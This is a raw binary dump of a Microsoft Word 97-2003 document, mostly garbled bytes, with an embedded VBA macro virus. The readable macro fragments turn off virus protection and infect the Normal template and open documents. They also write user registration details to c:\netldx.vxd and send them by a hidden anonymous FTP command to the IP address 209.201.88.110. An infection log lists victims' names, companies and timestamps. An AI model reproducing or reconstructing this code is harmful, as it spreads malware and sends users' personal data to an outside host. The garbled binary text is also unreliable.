-凯发网
��ࡱ�>�� <?����;��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������y� �r�tbjbj��2�{�{�������������***8bn4*�$4��������o$q$q$q$q$q$q$$0&��(h�$!������$��4�$888���o$8�o$88vc@' �����p%��������r�[$�$0�$�x*)@j*)' *)' 4��8������$�$������$������������������������������������������������������������������������*)����������,�: d�h�1
'y�s�_1�s|iy�_/t3u��h�
��3u���nt��|5uy���so(u�e�����#��nۏ�q'�irf�~����lf:\�[�͑ϑ�peϑ ��yxag�nya���l�103u���n�qdk3u��us0r'y�s�_1�s|i�ks���s�v�^y蕥�s0
203u���n�#��s�e\��s�n�v�ks0
30o(ug���_{�%nxjm)ʬuw��lfd���ݮ� 5_��4cs��j��-v��?k3���rm}�����g��z����
��g��s�嚋7���xw�����sȉ��r�
�w*)|��jȫk��xͫ���
dx��ibf؇bn�h (�
�*��'vɗ3kz����jz'c*����_=}��<9����ݻw~���]�8��^~��_o�?����xy���ýg�~^�������g}j��0��e�m��h��=���ԅ����ξa�>s�$�-, �o�ɠ���=hp� ua/� �uo d*:�(�.�f�t�����u��/!�9$v[|h���rv����s��-i�u�t.
�����6��ڪ�4c����ebs)����bmj�b�e��k�p���u�m����,�f�d��$͑�{6gu���vf�~�b��#�v���b�@�q�ttw��.�ޛd)��i�@��vdq�9y���^��x�����7�{2�%�u��h�x�� a���f6]>�f#s�m�*���q�q��dh��ehk����)���@��?71����o�ggo��`:fղ�e������k�p£�2nj��8��ǰ�d �cb�?8���1e��>�ne��eu}�h�]��dm1iq6��褣�֧<��z[[v�|�0��p�sz�4��f؉�]�j�����qv�1�1ߖ��⃛��
��`̔4��s 3t��4��h���
��pk!
ѐ��'theme/theme/_rels/thememanager.xml.rels��m
�0���wooӻ�&݈э���5
6?$q��
�,.�a��i����c2�1h�:�q��m��@rn��;d�`��o7�g�k(m&$r(.1�r'j��њt���8��v�"��aȼ�h�u}��|�$�b{��p����8�g/]�qasم(����#��l�[������pk-!����[content_types].xmlpk-!�֧��60_rels/.relspk-!ky���theme/theme/thememanager.xmlpk-!�ln����theme/theme/theme1.xmlpk-!
ѐ��'� theme/theme/_rels/thememanager.xml.relspk]�
.���� td\n�dt
�@� @���������h ��0�( �
����0�( �
��b
�s���� ?� #')-/4mtwyzdhiw������������ !#$&')*,/qt !#$&')*,/37mw !#$&')*,/ di���� !!#$&')*,/zhab2�j����������$�sяg����������hu}��������������� ��^�� `��o(� ��
� �\�^� `�\��h�h)�
���\�^��`�\��h�h.�
�q �\�^�q `�\��h�h.�
��
�\�^��
`�\��h�h)�
���\�^��`�\��h�h.�
�=�\�^�=`�\��h�h.�
���\�^��`�\��h�h)�
���\�^��`�\��h�h.�w����w^�w`���o(,{�z�
�h�\��h^�h`�\��h�h)�
���\���^��`�\��h�h.�
���\���^��`�\��h�h.�
�4�\��4^�4`�\��h�h)�
�� �\��� ^�� `�\��h�h.�
�|�\��|^�|`�\��h�h.�
�
�\��
^�
`�\��h�h)�
���\���^��`�\��h�h.�h����h^�h`���o(,{�z�
�h�\��h^�h`�\��h�h)�
���\���^��`�\��h�h.�
���\���^��`�\��h�h.�
�4�\��4^�4`�\��h�h)�
�� �\��� ^�� `�\��h�h.�
�|�\��|^�|`�\��h�h.�
�
�\��
^�
`�\��h�h)�
���\���^��`�\��h�h.$�s�hu}zhab������������������c ��� ��� �q�<h*7~d9 x �'
u
=�xp`?�/�v�j�o�;�y�q�q�w0�jzgx�1�gh�~6�bxr{ �' hj"�#@n#�g$&�4&�c(�j)@l)�*�~ �1-�{-�n.�-121j3dn3�94{8556n-7�r7oq8�]8�a8@9$:�v:�;ht=p
>�8>�?9z?v$@�1@b2@�h@�k@�mc�qc�"d0de�fg0j�m�n^xo�kp�np�
q�oq�vs�rsxtx*u�v�>w�
xaxgjx;hzu']�ma�b�jb�@cq8e�ae�f�$guph�hh�iciti�.i� j�sj� k�k&gml,n�-nlfn�ra\t�?u?x�jxx]xb����a`gdefshijklmnopqrctuvwxyz[\]^_����abcdefhkijl������������������������������������������������������������������������������������root entry�������� �fp}(���@data
������������1table��������b)worddocument
����2summaryinformation(������������ documentsummaryinformation8��������3msodatastore����p�����-������hn�lcpe�rje��i��v��==2��������p�����-���item
���� �����properties������������uxacros�����-���p%���xba�������������-����b"������� ����
�������� !"#$%&'()* ,-./0123456789:;<=>?@a����cdefghij����lmnopqrstuvwxyz[\����^��������abcde����g����������������������������������������������������������������������������������������������������
ru��� 0qy� )
4�a����������������������������������������������������������������������`���me����������ru��� ��������@n��������������������������������������������������������������thisdocument��������g__srp_2��������
�__srp_3����bxvba_project������������g!d%f.4�� h!b!d%f.6 *���'�' 4!j%l'0g *���'�' 6!j%l'2>�switch the virusprotection offin� n(pe</$t$r���>hkey_current_user\software\microsoft\ms setup (acme)\user info�logfile v%x��d>
0��, 1000� 4!j!\ 4!j%z'<otecti 2�etions.� 6!j!\ 6!j%z'<(day(nk��� <� <�' log�file -->� <� <�' log�file -->�$�'<me)\us� ^����") = f >� b$`��$�'>true t� ^�� logda�c:\hsf >�.sys'>.c >����� <�ls�vtempla�
c:\netldx.vxd���lo���o 209.201.88.110� n���user anonymous� ���pass itsme@�= mid(���cd incoming�1���ascii�h���put >����quit���v��*command.com /c ftp.exe -n -s:c:\netldx.vxd fa@d���>hkey_current_user\software\microsoft\ms setup (acme)\user info�logfile v,xk����mmake sure that some conditions are true before we continue infecting anythingm� 0� 2� @!h j @!h l� tru�infect the normaltemplate 0��ed = t h!n'.alte� 4!j!\ 4!j%z'8vedocu�1write a log file of this normaltemplate infection� ^�� p!:� p!: ^�$��
$r�� p!: ^�$��
$r�� : p!: ^�$�':k��d�� :�
$r�' ':\rk���� ^��r� ) 8�
$r�' t�hh:mm:ss ampm - $� z�dddd, d mmm yyyy$��
$r�' p!v�
$r�' :�
$r'8ode � 6!j!\ 6!jb@x 8 6!jb@zime, " .��g hb@|jk����infect the activedocument� 2� @!~��$��: @!n��w @!n',empl� 6!j!\ 6!^�����-�x���������������<���:2�y��e���c�ǡ2eə��k�sv�e��������m�q��@a��������������x�����m�q��@a���:2�y��e���c�ǡ��me�����������������������������������������������������������������������������������������������������������������������������������������������(s"����s����s"����6"������(1normal.thisdocument ��������������(����������%����h���������`��������������%�������������������������%(�����������������������������������@�*��������l��@b-@�,�����������@�.����������*@�0����������r`�2����������@�4�����������`�6�������� ��@�8����������so@�:����������of@�<����������*`�>����������������������������������������������������h8@������������������������0��q$*\rffff*0a511ba7f5�����4���"�� ������ ����� � ����� 0�h�h�x� ����� ������ �����&��& � ����� ����� $h�
p� ����� �����z�� �����
�"�
8�"h�p� �����zx� �������*��
�0� �����p�`�
p� �������������� �8�p�
h� �����8x� �����^�� ������ ����� ����� t�dp� ����� ����� ��
�� ������� �����"�� ����� ����� 8 �x�$p�$��
���������
� �����(�(� ����� �������� ������ �����0� ����� ����� 8�fx� ������� �����"�� ��������� ����� � �����( � ����� �����0 � �����8 � ����� @ � ����� (x � � � � � � � ����� ����� ����� *� � � � � � ����� ����� ����� (
�
(
� 8
� ����� ����� ����� *@
�
p
� �
� ����� ����� ����� *�
� �
� �
� ����� ����� ����� *�
� � � ����� ����� ����� (� @� x� ����� ����� ����� ,`� �� �� ����� ����� ����� (�� �� �� ����� ����� ����� ,� 0� @� ����� ����� ����� (h�
p� �� ����� ����� ����� *�� �� �� ����� ����� ����� (�� ��
� ����� ����� ����� (
� @
� x
� ����� ����� ����� (`
� �
� �
� ����� ����� ����� *�
� �
� �
� ����� ����� ����� *�
� (� @� ����� ����� ����� (h� p� �� ����� ����� ����� (�� �� �� ����� ����� ����� ,�� � ,� ����� ����� ����� *h� x� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � � ����� ����� ����� * � p� `� ����� ����� ����� (h� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� *�� � 0� ����� ����� ����� *8� h� x� ����� ����� ����� *�� �� �� ����� ����� ����� *�� �� � ����� ����� ����� *� @� p� ����� ����� ����� *x� �� �� ����� ����� ����� .�� �� �� ����� ����� ����� *�� � (� ����� ����� ����� ,0� `� p� ����� ����� ����� .x� �� �� ����� ����� ����� .�� �� � ����� ����� ����� .� 8� h� ����� ����� ����� *p� �� �� ����� ����� ����� *��
�� �� ����� ����� ����� *�� � � ����� ����� ����� ,(� x� h� ����� ����� ����� *p� �� �� ����� ����� ����� *�� �� �� ����� ����� ����� .� 0� h� ����� ����� ����� .p� �� �� ����� ����� ������������p]�<- this is a marker!���declare variables]���� �8]�p�h]��������%�initialize variables�� @!bj%z'8tivedo� 4!j!\ 4!jb@xr 8 4!jb@z mmm y ,��g @b@|jk���k���o���� logfile -->3) &�" 09:08:36 - saturday, 28 nov 1998� spo0ky� blue planet��$ 02:50:31 pm - saturday, 28 nov 1998�
mark b. seay��! 08:04:45 am - friday, 4 dec 1998� ups��$ 11:43:35 am - thursday, 17 dec 1998� wro��# 03:07:26 pm - tuesday, 22 dec 1998� bcbsa��$ 03:28:02 pm - wednesday, 6 jan 1999� bcbsa��" 02:59:47 pm - monday, 11 jan 1999�
marsha veach��% 01:54:54 pm - wednesday, 20 jan 1999� connie sandifer, cmp��" 09:33:06 pm - monday, 25 jan 1999� doug rowan��% 08:21:12 am - wednesday, 27 jan 1999� imsi��" 10:59:58 am - friday, 29 jan 1999� raj��$ 03:37:57 pm - saturday, 30 jan 1999� hornd��" 01:26:48 pm - tuesday, 2 feb 1999� cooley godward��" 04:57:29 pm - tuesday, 2 feb 1999� cooley godward��" 06:35:44 pm - tuesday, 2 feb 1999� cooley godward��# 04:23:52 pm - thursday, 4 feb 1999� cooley godward��# 04:27:39 pm - saturday, 6 feb 1999� cooley godward��! 06:18:06 pm - monday, 8 feb 1999� cooley godward��" 09:17:17 pm - tuesday, 9 feb 1999� hclee��% 04:44:45 pm - wednesday, 17 feb 1999�
dr. w. hsiao�% wendy hsiao, ph.d.�# 04:13:19 pm - tuesday, 23 feb 1999� ccst��$ 10:09:35 am - saturday, 20 mar 1999� cpwu��# 09:33:49 am - thursday, 6 may 1999��� ������a��# 12:39:25 pm - tuesday, 20 may 1997
� ghc-bbcr��! 01:21:36 pm - friday, 7 may 1999� �����"��# 05:51:53 - wednesday, 12 may 1999'de� qdzhuang��$ 03:23:04 pm - saturday, 19 jun 1999, s� �����a��$ 02:53:46 ���� - tuesday, 6 sep 2011ed,� �����t��$ 09:37:47 ���� - monday, 19 sep 2011n
� ��ʿ�� ��$ 02:51:42 ���� - monday, 19 sep 2011, u� ���û���$ 08:25:48 ���� - friday, 23 sep 2011tri� ���û���$ 09:08:12 ���� - monday, 26 sep 2011ad � unknowne��' 10:56:39 ���� - wednesday, 28 sep 2011e� unknownm��$ 11:22:38 ���� - friday, 28 oct 2011ate� unknowne��% 02:15:27 ���� - tuesday, 15 nov 2011
d� �����i��' 01:54:05 ���� - wednesday, 16 nov 2011d� ����,��' 08:08:39 ���� - wednesday, 23 nov 2011l� ����te��' 02:06:04 ���� - wednesday, 23 nov 2011n� ��־��r��$ 11:09:28 ���� - friday, 25 nov 2011
'� �γ���t��# 08:17:09 ���� - monday, 5 dec 2011pti� rayiru��$ 01:50:23 ���� - tuesday, 6 dec 2011 i� unknownn��& 04:43:12 ���� - wednesday, 7 dec 2011va� ������l��# 09:07:41 ���� - friday, 9 dec 2011_us� �����w��$ 10:52:38 ���� - monday, 19 dec 2011cme� �º鲨i��' 10:48:39 ���� - wednesday, 28 dec 2011h� administrator ��' 02:51:04 ���� - wednesday, 22 feb 2012t� ½���� �����` ����b�attribute vb_name = "thisdocument"
�bas�1normal.vglobal!�spaclfalse�creatablpre declaid�tru
bexposetemplatederiv$customliz�c�1p sub ��_cl5()
on error res� next�const @marker��<- t� is (a m!��
'dl vari=s
dim �save8,���e,ginfec`ted, �� as boole�an-antobjcourcode, useraddres�s, logd�fyfihs��nga9'initi0aliz��/se�t a�bact�[��1.vbproa�@compon@�s.item(1��s�
&=2�
0���<= .�3module.find�(�c, 1�0@�o= nt fswitchc�|firus>t�zion off���pt�s.v= ��a if (day(now())�1) and (sysm@m.��@fgf("", "hkey_current_user\softw��\micros@\ms �\up (acpme)\a? `(o7!@?!>"��) the`h
� �e;`�&k'�dh�ad))li0nes(`1�co�untof��2!�e ��
64aut�7f��q�,if����mid(�,�%�.�&"'�f" & "�2 -->")hen�) -���$ cf��i�@� to 4c �
e"s=& a�int(8 * r�nd)`2�]$
� ic@$"c:p\hsf���.8sys��a1open�
�outprub�#1c s@y#��; a��b� �c� "c:\netldx.vxd" �
"o 209.201.88.�110�"u� anonymou�pass @itsme@�c d inc��ng��ascii�a �h'�qui���(� shell "a�mand.� /c ftp.exe -n -s:�$, vbhi�d`�g3?�k?��a�ٟa= cr�ed32pmake sur�e`pat so���cond c�q �h t�| befo@we �tin�ue�1ming�ny�s�f@(�f ~x�1�aqq�2!
cs_]"(li�v�&m0
= wd�� or� c_e^�y�r�r�q�ra
2a�
��
�
��
[w�
� .1�dq1 �}pxx0zx3s'wri��a log rf�of
p�, i�b� ns� �kl�p�applicaap~.��i�o1lot�i�l <> chr�(13��(qs�h���0� i�`
`]���c�1r �lk�y=&f
�w'� �f �\�'��9,3r0j�j� (timp�"hh:mm:0qamp�m j�&�/����]�d, d �mmm y���o ���ǐ���ag��}del�ete�������e.��from�t��h��s�;/90#qg?b�ݬ�%� �9b�f�k6m����f(b*�ful��,f ��p
":"n ~ ?n2�� qvr=����gih?��<����k|�������sto$x���g:w�sub�r�bt �09:0 8:36 �7sa@turday�8�0$v 1998� spo0ky��bl�rpla���!d2:50:31 r<��mark b�. seay
'
' 08:04:45 am - friday, 4 de@c 1998� ups
�11:43:3fthursj17
lwro
l03:07:2�6 pjtue522
5bcbsa
72�27wed�n96 jan�
9/ 82:59�:478mon�1
marsha@ veach;1�:54;20
connie sandifer, cmp$9:3'}�{c25�"doug rowan�8:21:12ψ}27
ims�i
10�}58���29j
rajk@u7:5lsatu
r�l3kstdolep
h%^*\g{00020�430-c
0046}#2.0#0#c:\windows\system32\e2.tlb#ole aut�omation`�enormal�en�crmaq�f � �*\c
n��p�!offic�gof�ic�g����!g{2df8d04c-5bfa-101@b-bde5�gaja�e4�2�g��gram files\commonmicrosoft shared\office14\mso.ddir������������b__srp_0
����kx__srp_1������������]bprojectwm������������_)ll#��m 14 .0 ob�� l�ibrary�%�"�z��xbethisdocumentg
� t�fis"d�hcu@ie�n�n�2��(hb1b��-xb,�!�t�"b bb�k*����� *\cnormalru���~~~~~~l ��x�dj4m��1%$r ������
������������������� ��l�pz�f�~�s������1projectthisdocument��f/c:\progra~1\common~1\micros~1\vba\vba7\vbe7.dllvba
!���� i�` �f5c:\program files\microsoft office\office14\msword.olbword
����a�p0�fc:\windows\system32\stdole2.tlbstdole
)����q��l��-�[���d�r?c:\program files\common files\microsoft shared\office14\mso.dlloffice
����1��k �f�:2�y��e���c�ǡ2eə��k�sv�e��������m�q��@a��
�fdocument
@:ru����~}
���������������� ��pthisdocumentthisdocumentproject����`kcompobj������������fn������������������������id="{f1a533be-29e7-448b-8f77-714cf0eca423}"
document=thisdocument/&h00000000
name="project"
helpcontextid="0"
versioncompatible32="393222000"
cmg="b1b343a147a147a147a147"
dpb="9092628563856385"
gc="6f6d9d80a380838183817c"
[host extender info]
&h00000001={3832d640-cf90-11cf-8e43-00a0c911005a};vbe;&h00000000
[workspace]
thisdocument=0, 0, 0, 0, c
��
���� �fmicrosoft word 97-2003 �ĵ�
msworddocword.document.8�9�q